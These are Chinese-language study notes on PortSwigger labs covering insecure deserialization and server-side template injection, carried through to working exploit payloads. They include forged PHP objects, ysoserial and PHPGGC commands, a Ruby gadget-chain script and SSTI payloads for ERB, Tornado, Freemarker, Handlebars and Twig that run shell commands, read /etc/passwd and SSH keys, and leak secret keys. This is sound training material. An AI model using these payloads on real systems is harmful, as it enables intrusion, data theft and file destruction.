PortSwigger之不安全的反序列化+服務器端模板注入漏洞筆記
本文僅供學習參考,其中涉及的一切資源均來源于網絡,請勿用于任何非法行為,否則您將自行承擔相應后果,我不承擔任何法律及連帶責任。
一、Insecure deserialization
01 Modifying serialized objects
描述
本實驗使用基于序列化的會話機制,因此容易受到權限提升的影響。為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
此實驗與權限提升有關,我們使用bp抓包,重點關注cookie
1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。

2.根據前面漏洞介紹,猜測布爾值的0是對admin權限的一個否定,那我們將布爾值修改為1,重新進行base64編碼+url編碼替換到cookie,查看效果(=要換成%3d)。

在Repeater中替換cookie,已經有了admin權限。

3.刪除carlos用戶以解決實驗
利用瀏覽器插件修改cookie可進行admin權限持久化操作。
02 Modifying serialized data types
描述
本實驗使用基于序列化的會話機制,因此容易繞過身份驗證。解決實驗室,編輯會話cookie中的序列化對象以訪問該administrator帳戶。然后,刪除卡洛斯。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
此實驗利用了php對字符比較時的邏輯缺陷,0 == "Example string"結果是true
1.跟上題一樣,只是token我們不可讀,token使用整型0代替(i:0),用戶名偽造為administrator,用戶名.長度需要修改為13(administrator的長度)。

結果
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
2.使用瀏覽器插件修改token,刷新頁面,刪除carlos以解決實驗。

03 Using application functionality to exploit insecure deserialization
描述
本實驗使用基于序列化的會話機制。某個功能對序列化對象中提供的數據調用危險的方法。要解決實驗室問題,請編輯會話 cookie 中的序列化對象,并使用它morale.txt從 Carlos 的主目錄中刪除文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
您還可以訪問備份帳戶:gregg:rosebud
解決方案
刪除用戶時會連帶刪除用戶頭像,刪除頭像路徑在序列化數據中,將路徑修改為morale.txt就可以刪除
1.先獲取數據包,查看cookie內容。

2.刪除帳戶的選項/my-account/delete。
3.在 Burp Repeater 中,使用 Inspector 面板研究會話 cookie。請注意,序列化對象有一個avatar_link屬性,其中包含您的頭像的文件路徑。
編輯序列化數據,使avatar_link指向/home/carlos/morale.txt. 請記住更新長度指示器。修改后的屬性應如下所示:
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
單擊“Apply change”。修改后的對象將在請求中自動重新編碼和更新。

4.發送請求。您的帳戶將與carlos的morale.txt文件一起被刪除。
04 Arbitrary object injection in PHP
描述
本實驗使用基于序列化的會話機制,因此容易受到任意對象注入的影響。為了解決實驗室問題,創建并注入惡意序列化對象以morale.txt從 Carlos 的主目錄中刪除文件。您需要獲得源代碼訪問權限才能解決此實驗。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
1.登錄到您自己的帳戶并注意會話 cookie 包含一個序列化的 PHP 對象。
2.從site map中,請注意:
該網站引用了文件/libs/CustomTemplate.php. 右鍵單擊該文件并選擇“Send to repeater”。

3.在 Burp Repeater 中,請注意您可以通過在請求行中的文件名后附加波浪號~來閱讀源代碼。

4.在源代碼中,請注意CustomTemplate該類包含destruct()魔法方法。這將調用屬性unlink()上的方法lock_file_path,這將刪除此路徑上的文件。
5.在 Burp Decoder 中,使用序列化 PHP 數據的正確語法來創建屬性設置為的CustomTemplate對象。確保使用正確的數據類型標簽和長度指示符。
最終對象應如下所示:
lock_file_path/home/carlos/morale.txtO:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
Base64 和 URL 編碼此對象并將其保存到剪貼板。
6.向 Burp Repeater 發送一個包含會話 cookie 的請求。
7.在 Burp Repeater 中,將會話 cookie 替換為剪貼板中修改后的 cookie。
8.發送請求。該__destruct()魔術方法自動調用并會刪除carlos的文件。

05 Exploiting Java deserialization with Apache Commons
描述
本實驗使用基于序列化的會話機制并加載 Apache Commons Collections 庫。盡管您沒有源代碼訪問權限,但您仍然可以使用預先構建的小工具鏈來利用此實驗室。
為了解決實驗室問題,請使用第三方工具生成包含遠程代碼執行負載的惡意序列化對象。然后,將此對象傳遞到網站以morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
1.下載ysoserial
https://github.com/frohoff/ysoserialhttps://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2.登錄到您自己的帳戶并觀察會話 cookie 包含一個序列化的 Java 對象。向 Burp Repeater 發送一個包含會話 cookie 的請求。

3.執行以下命令:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

這將生成一個 Base64 編碼的序列化對象,其中包含您的有效負載。4.選擇整個 cookie,然后對其進行 URL 編碼。
http://www.jsons.cn/urlencode/
使用瀏覽器插件替換惡意 cookie 到您的會話 cookie。發送解決實驗室的請求。
06 Exploiting PHP deserialization with a pre-built gadget chain
描述
該實驗室具有使用簽名 cookie 的基于序列化的會話機制。它還使用通用的 PHP 框架。盡管您沒有源代碼訪問權限,但您仍然可以使用預構建的小工具鏈來利用此實驗室的不安全反序列化。
為了解決實驗室問題,識別目標框架,然后使用第三方工具生成包含遠程代碼執行有效負載的惡意序列化對象。然后,研究如何生成包含惡意對象的有效簽名 cookie。最后,將此傳遞到網站以morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
1.下載工具
https://github.com/ambionics/phpggc
1.登錄并向Burp Repeater發送包含會話cookie的請求。突出顯示cookie并將其發送到Burp解碼器。
2.在burp解碼器中,選擇“decode”>“URL”。請注意,cookie包含一個Base64編碼的令牌,用SHA-1 HMAC哈希簽名。

3.突出顯示令牌并選擇“decode”>“Base64”。請注意,令牌實際上是一個序列化的PHP對象。

4.在Burp Repeater中,請注意,如果嘗試使用修改過的cookie發送請求,則會引發異常,因為數字簽名不再匹配。但是,您應該注意到:
開發人員注釋在/cgi-bin/phpinfo.php中公開了調試文件的位置。
錯誤消息顯示該網站正在使用Symfony 4.3.6框架。
在Burp Repeater中請求/cgi-bin/phpinfo.php文件,并觀察它是否泄漏了有關網站的一些關鍵信息,包括SECRET_key環境變量。保存此密鑰;您需要它在以后對您的漏洞進行簽名。

5.下載“PHPGGC”工具并執行以下命令:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
這將生成一個Base64編碼的序列化對象,該對象利用Symfony中的RCE小工具鏈刪除Carlos的morale.txt文件。
6.您現在需要構造一個包含此惡意對象的有效cookie,并使用先前獲得的密鑰對其進行正確簽名。您可以使用以下PHP腳本來執行此操作。在運行腳本之前,只需進行以下更改:
將在PHPGGC中生成的對象分配給$object變量。
將從phpinfo.php文件復制的密鑰分配給$secretKey變量。
$object = "PHPGGC中生成的base64字符串";$secretKey = "yprtgexgp1wu7vwejr6s1khql8g9wv7r";$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');echo $cookie;
請注意,pgpggc生成的object是一行,沒有換行的,別復制錯了
7.替換cookie,刷新頁面可解決實驗。
07 Exploiting Ruby deserialization using a documented gadget chain
描述
本實驗使用基于序列化的會話機制和 Ruby on Rails 框架。有一個記錄的漏洞利用可以通過此框架中的小工具鏈實現遠程代碼執行。
要解決實驗室問題,請查找記錄的漏洞利用并對其進行調整以創建包含遠程代碼執行有效負載的惡意序列化對象。然后,將此對象傳遞到網站以morale.txt從 Carlos 的主目錄中刪除該文件。
解決方案
RUBY 2.X 通用 RCE 反序列化小工具鏈
https://www.elttam.com/blog/ruby-deserialization/#content
生成和驗證反序列化的腳本
#!/usr/bin/env rubyclass Gem::StubSpecificationdef initialize; endendstub_specification = Gem::StubSpecification.newstub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")puts "STEP n"stub_specification.name rescue nilputsclass Gem::Source::SpecificFiledef initialize; endendspecific_file = Gem::Source::SpecificFile.newspecific_file.instance_variable_set(:@spec, stub_specification)other_specific_file = Gem::Source::SpecificFile.newputs "STEP n-1"specific_file <=> other_specific_file rescue nilputs$dependency_list= Gem::DependencyList.new$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])puts "STEP n-2"$dependency_list.each{} rescue nilputsclass Gem::Requirementdef marshal_dump[$dependency_list]endendpayload = Marshal.dump(Gem::Requirement.new)puts "STEP n-3"Marshal.load(payload) rescue nilputsputs "VALIDATION (in fresh ruby process):"IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|pipe.print payloadpipe.close_writeputs pipe.getsputsendputs "Payload (hex):"puts payload.unpack('H*')[0]putsrequire "base64"puts "Payload (Base64 encoded):"puts Base64.encode64(payload)
1.登錄到您自己的帳戶,注意會話cookie包含一個序列化Ruby對象。將包含此會話cookie的請求發送到Burp Repeater。
2.瀏覽網頁找到Luke Jahnke的“Ruby 2.x Universal RCE Gadget Chain”。

3.復制用于生成有效負載的腳本,并將第九行應執行的命令從id更改為rm /home/carlos/morale.txt,然后運行該腳本。這將生成一個包含有效負載的序列化對象。輸出包含對象的十六進制和Base64編碼版本。

4.復制Base64編碼的對象。

5.對對象進行url編碼,并在Burp Repeater中用您剛剛創建的惡意會話cookie替換您的會話cookie。
6.發送請求以解決實驗室問題。
08 Developing a custom gadget chain for Java deserialization
描述
本實驗使用基于序列化的會話機制。如果你能構建一個合適的gadget鏈,你就可以利用這個實驗室不安全的反序列化來獲取管理員密碼。
為了解決實驗室,獲得源代碼的訪問權并使用它構建一個小工具鏈來獲取管理員的密碼。然后,以 的身份登錄administrator并刪除 Carlos 的帳戶。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
請注意,解決此實驗需要基本熟悉我們在Web 安全學院 中介紹的另一個主題。
提示:
為了節省您的工作量,我們提供了一個用于序列化對象的通用 Java 程序。您可以調整它以生成適合您的漏洞利用的對象。如果您尚未設置 Java 環境,則可以使用基于瀏覽器的 IDE(例如repl.it.
解決方案
識別漏洞
1.登錄到您自己的帳戶并注意會話 cookie 包含一個序列化的 Java 對象。
2.從site map中,請注意:
該網站引用了文件/backup/AccessTokenUser.java. 你可以在 Burp Repeater 中成功請求這個文件。


3.掃描得到一個ProductTemplate.java文件。


4.請注意,該ProductTemplate.readObject()方法將模板的id屬性傳遞到 SQL 語句中。

5.根據泄露的源代碼,使用burp給出的 Java 小程序serialization-examples-master\java\solution\Main.java,ProductTemplate用任意 ID實例化 a ,將其序列化,然后對其進行 Base64 編碼。需要更改的只是文件中的"your-payload-here"字符串
6使用您的 Java 程序創建一個ProductTemplate帶有id單撇號的集合。復制 Base64 字符串并將其作為會話 cookie 在請求中提交。該錯誤消息確認該網站容易受到通過此反序列化對象進行的基于 Postgres 的SQL 注入的攻擊。

編譯運行。

url編碼放到burp替換cookie驗證,pgsql語法錯誤。

構造sql語句以讀取密碼。
' UNION SELECT NULL, NULL, NULL, cast(password as numeric), NULL, NULL, NULL, NULL FROM users--rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAXycgVU5JT04gU0VMRUNUIE5VTEwsIE5VTEwsIE5VTEwsIGNhc3QocGFzc3dvcmQgYXMgbnVtZXJpYyksIE5VTEwsIE5VTEwsIE5VTEwsIE5VTEwgRlJPTSB1c2Vycy0t
登錄刪除carlos
administrator/lqod6l8wdbuma6o9n3qd
09 Developing a custom gadget chain for PHP deserialization
描述
本實驗使用基于序列化的會話機制。通過部署自定義小工具鏈,您可以利用其不安全的反序列化來實現遠程代碼執行。要解決實驗室問題,請morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
登錄到您自己的帳戶并注意會話 cookie 包含一個序列化的 PHP 對象。該網站引用了該文件/cgi-bin/libs/CustomTemplate.php。通過使用.php~備份文件擴展名提交請求來獲取源代碼。


2.在源代碼中,請注意:
__wakeup()a的魔術方法CustomTemplate將Product通過引用default_desc_type和desc來創建一個新的CustomTemplate。
3.另請注意,DefaultMap該類具有get()魔術方法,如果您嘗試讀取該對象不存在的屬性,則會調用該方法。
這個魔術方法調用call_user_func(),它將執行通過DefaultMap->callback屬性傳遞給它的任何函數。該函數將在 上執行$name,這是請求的不存在的屬性。
4.您可以exec(rm /home/carlos/morale.txt)通過傳入一個CustomTemplate對象來利用此小工具鏈進行調用,其中:如果您遵循源代碼中的數據流,您會注意到這會導致構造函數嘗試從對象中獲取。
由于它沒有此屬性,該方法將調用 上的回調方法,該方法設置為我們的 shell 命令。CustomTemplate->default_desc_type = “rm /home/carlos/morale.txt”; CustomTemplate->desc = DefaultMap; DefaultMap->callback = “exec” Productdefault_desc_typeDefaultMap__get()exec()default_desc_type
5.為了解決實驗室問題,對以下序列化對象進行 Base64 和 URL 編碼,并通過會話 cookie 將其傳遞到網站:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
10 Using PHAR deserialization to deploy a custom gadget chain
描述
本實驗未明確使用反序列化。但是,如果將PHAR反序列化與其他高級黑客技術相結合,您仍然可以通過自定義小工具鏈實現遠程代碼執行。
要解決實驗室問題,請morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
注意網站有上傳自己頭像的功能,只接受JPG圖片。上傳一個有效JPG的頭像。請注意,它是使用GET /cgi-bin/avatar.php?avatar=wiener。


2.在 Burp Repeater 中,請求GET /cgi-bin查找顯示一個Blog.php和CustomTemplate.php文件的索引。通過使用.php~備份擴展請求文件來獲取源代碼。



3.研究源代碼并確定涉及Blog->desc和CustomTemplate->lockFilePath屬性的小工具鏈。
4.請注意,file_exists()文件系統方法是在lockFilePath屬性上調用的。
5.請注意,該網站使用 Twig 模板引擎。您可以使用反序列化來傳入服務器端模板注入(SSTI) 負載。在 Twig 上查找用于遠程代碼執行的記錄 SSTI 有效負載,并對其進行調整以刪除 Carlos 的文件:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
6.編寫一些 PHP 來創建CustomTemplate并Blog包含您的 SSTI 負載:
class CustomTemplate {}class Blog {}$object = new CustomTemplate;$blog = new Blog;$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';$blog->user = 'user';$object->template_file_path = $blog;
7.創建一個PHAR-JPG包含 PHP 腳本的多語言。您可以在網上找到幾個執行此操作的腳本(搜索“ phar jpg polyglot”)。或者,您可以下載我們現成的.
現成的鏈接
https://raw.githubusercontent.com/PortSwigger/serialization-examples/master/php/phar-jpg-polyglot.jpg
下載上傳

8.將此文件上傳為您的頭像。9.在 Burp Repeater 中,修改請求行以使用phar://流反序列化您的惡意頭像,如下所示:
GET /cgi-bin/avatar.php?avatar=phar://wiener
10.發送請求解決實驗室的請求。
二、Server-side template injection
01 Basic server-side template injection
描述
由于 ERB 模板的不安全構造, 該實驗室容易受到服務器端模板注入的影響。
要解決實驗室問題,請查看 ERB 文檔以了解如何執行任意代碼,然后morale.txt從 Carlos 的主目錄中刪除該文件。
解決方案
請注意,當您嘗試查看有關第一個產品的更多詳細信息時,GET請求會使用該message參數”Unfortunately this product is out of stock”在主頁上呈現。
2.在 ERB 文檔中,發現語法<%= someExpression %>用于評估表達式并將結果呈現在頁面上。
3.使用 ERB 模板語法創建包含數學運算的測試負載,例如:
<%=7*7%>
4.從 Ruby 文檔中,發現system()可用于執行任意操作系統命令的方法。5.構造一個payload來刪除Carlos的文件,如下所示:一定套url編碼一下
<%=system("rm /home/carlos/morale.txt")%>

02 Basic server-side template injection (code context)
描述
由于它不安全地使用 Tornado 模板的方式, 該實驗室容易受到服務器端模板注入的影響。要解決實驗室問題,請查看 Tornado 文檔以了解如何執行任意代碼,然后morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
暗示:仔細看看“Preferred name”功能。
解決方案
1.在通過 Burp 代理流量時,登錄并在其中一篇博文上發表評論。
2.請注意,在“my account”頁面上,您可以選擇是否希望站點使用您的全名、名字或昵稱。當您提交您的選擇,一個POST請求設置參數的值blog-post-author-display要么user.name,user.first_name或user.nickname。當您加載包含評論的頁面時,評論上方的名稱將根據此參數的當前值進行更新。
3.在 Burp 中,進入“proxy”>“HTTP History”,找到設置該參數的請求,即POST /my-account/change-blog-post-author-display,發送給 Burp Repeater。
4.研究 Tornado 文檔以發現模板表達式被雙花括號包圍,例如{{someExpression}}. 在 Burp Repeater 中,請注意您可以退出表達式并注入任意模板語法,如下所示:blog-post-author-display=user.name}}{{7*7}}。

5.重新加載包含剛才發表評論的頁面。請注意,用戶名現在顯示為Wiener49}},表明代碼上下文中可能存在服務器端模板注入漏洞。

6.在 Tornado 文檔中,確定執行任意 Python 的語法:
{% somePython %}
研究 Python 文檔,發現通過導入os模塊,您可以使用該system()方法執行任意系統命令。結合這些知識構建一個刪除卡洛斯文件的有效載荷:
{% import os %}{{os.system('rm /home/carlos/morale.txt')
7.在 Burp Repeater 中,回到POST /my-account/change-blog-post-author-display. 跳出表達式,將您的有效負載注入參數,記住按如下方式對其進行 URL 編碼:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
8.重新加載包含您的評論的頁面以執行模板并解決實驗室問題。
03 Server-side template injection using documentation
描述
該實驗室容易受到服務器端模板注入的攻擊。要解決實驗室問題,請識別模板引擎并使用文檔找出如何執行任意代碼。
然后morale.txt從 Carlos 的主目錄中刪除該文件。
您可以使用以下憑據登錄自己的帳戶:
content-manager:C0nt3ntM4n4g3r
解決方案
1.通過錯誤信息來獲取模板類型,登錄并編輯其中一個產品描述模板。請注意,此模板引擎使用語法${someExpression}在頁面上呈現表達式的結果。輸入您自己的表達式或更改現有表達式之一以引用不存在的對象,在編輯模板的${}模板表達式中隨便輸入些什么,然后保存模板。輸出中的錯誤消息顯示正在使用 Freemarker 模板引擎。


2.搜索freemarker ssti,得到利用內置函數執行系統命令
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("[payload]")}
于是我們在編輯模板的地方將payload寫入模板表達式
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("ls")}

刪除文件以解決實驗
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm morale.txt")}

04 Server-side template injection in an unknown language with a documented exploit
描述
該實驗室容易受到服務器端模板注入的攻擊。要解決實驗室問題,請識別模板引擎并在線查找可用于執行任意代碼的已記錄漏洞,然后morale.txt從 Carlos 的主目錄中刪除該文件。
解決方案
通過注入含有來自各種不同的模板語言,如模板語法一個絨毛試驗串${{<%[%'"}}%\,進message參數。請注意,當您提交無效語法時,輸出中會顯示一條錯誤消息。這表明該網站正在使用 Handlebars。

2.搜索Handlebars ssti,得到利用內置函數執行系統命令
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}URLencoded:http://www.jsons.cn/urlencode/
因為是GET方式傳遞參數,payload需要進行URLencode。

05 Server-side template injection with information disclosure via user-supplied objects
描述
由于對象傳遞到模板的方式, 該實驗室容易受到服務器端模板注入的影響。可利用此漏洞訪問敏感數據。
為了解決實驗室,竊取并提交框架的密鑰。
您可以使用以下憑據登錄自己的帳戶:
content-manager:C0nt3ntM4n4g3r
解決方案
1.登錄并編輯其中一個產品描述模板。
2.將模板表達式之一更改為無效的內容,例如模糊字符串${{<%[%'"}}%\,然后保存模板。輸出中的錯誤消息提示正在使用 Django 框架。


3.搜索Django ssti,得到利用內置函數執行系統命令
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
{{settings.SECRET_KEY}}表達式可以查看指定的環境變量


得到key,提交以解決實驗。
06 Server-side template injection in a sandboxed environment
描述
本實驗使用 Freemarker 模板引擎。由于沙箱實現不佳,它容易受到服務器端模板注入的影響。要解決實驗室問題,請跳出沙箱以my_password.txt從 Carlos 的主目錄中讀取文件。然后提交文件內容。
您可以使用以下憑據登錄自己的帳戶:content-manager:C0nt3ntM4n4g3r
解決方案
1.登錄并編輯其中一個產品描述模板。請注意,您有權訪問該product對象。
2.加載Object該類的 JavaDoc以查找所有對象都應該可用的方法。確認您可以${object.getClass()}使用該product對象執行。
3.瀏覽文檔以查找一系列方法調用,這些方法調用授予對具有靜態方法的類的訪問權限,讓您可以讀取文件,例如:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
4.在其中一個模板中輸入此有效負載并保存。輸出將包含作為十進制 ASCII 代碼點的文件內容。

5.將返回的字節轉換為 ASCII。
# python3print("10進制 :",end="")b10 = input().split()bascii = ''for i in range(len(b10)):bascii += chr(int(b10[i]))print("ascii :",bascii)#輸入格式:104 101 108 108 111 119 111 114 108 100
6.提交此字符串以解決實驗室問題。
07 Server-side template injection with a custom exploit
描述
該實驗室容易受到服務器端模板注入的攻擊。為了解決這個實驗,創建一個自定義漏洞利用來/.ssh/id_rsa從 Carlos 的主目錄中刪除文件。
您可以使用以下憑據登錄自己的帳戶:wiener:peter
解決方案
1.在通過 Burp 代理流量時,登錄并在其中一個博客上發表評論。
上傳頭像位置,上傳無效圖片(1.txt)觸發報錯。錯誤消息會公開一個名為 的方法user.setAvatar()。
還要注意文件路徑/home/carlos/User.php。稍后您將需要它。

2.上傳有效圖片作為您的頭像并加載包含您的測試評論的頁面。

3.在 Burp Repeater 中,打開POST更改您的首選名稱的請求,并使用該blog-post-author-display參數將任意文件設置為您的頭像:
user.setAvatar('/etc/passwd')


4.加載包含測試評論的頁面以呈現模板。請注意,錯誤消息表明您需要提供圖像 MIME 類型作為第二個參數。提供此參數并再次查看注釋以刷新模板:
user.setAvatar('/etc/passwd','image/jpg')

5.要讀取文件,請使用GET /avatar?avatar=wiener。
這將返回/etc/passwd文件的內容,確認您可以訪問任意文件。

6.重復此過程以讀取您之前記下的 PHP 文件:
user.setAvatar('/home/carlos/User.php','image/jpg')
7.在 PHP 文件中,請注意您有權訪問gdprDelete()刪除用戶頭像的函數。你可以結合這些知識來刪除卡洛斯的文件。先將目標文件設置為你的頭像,然后查看注釋執行模板:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
調用該user.gdprDelete()方法并再次查看您的評論以解決實驗室問題。




